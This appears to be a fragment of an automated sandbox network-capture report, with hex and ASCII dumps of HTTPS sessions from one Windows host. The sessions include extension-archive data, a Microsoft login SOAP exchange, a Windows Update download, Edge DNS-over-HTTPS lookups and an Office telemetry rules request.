2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49744	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:20 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:20 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 8988bfcc-46ca-4122-a9fb-cca1e5b8b188 PPServer: PPV: 30 H: SN1PEPF0002FA7E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:20 GMT Connection: close Content-Length: 1276
2024-11-20 07:09:20 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49750	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5seAewdXZuwZolF&MD=19Dvc46m HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 07:09:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ecb6f961-aca6-4f96-b59d-45cf5f300671 MS-RequestId: cac72fc1-6f41-4fc3-9f5d-d65a4f71646c MS-CV: yezE5JMO9ki7g4GP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 07:09:20 GMT Connection: close Content-Length: 24490
2024-11-20 07:09:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 07:09:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49776	162.159.61.3	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 07:09:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 07:09:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e569d2dfed20f7c-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 07:09:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b4 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49777	172.64.41.3	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 07:09:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 07:09:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e569d2dff4b7c8e-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 07:09:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49780	172.64.41.3	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 07:09:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 07:09:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e569d2e3930430a-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 07:09:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a0 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-185f5d8b95c4hl5whC1NYCeex000000009tg00000000993x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
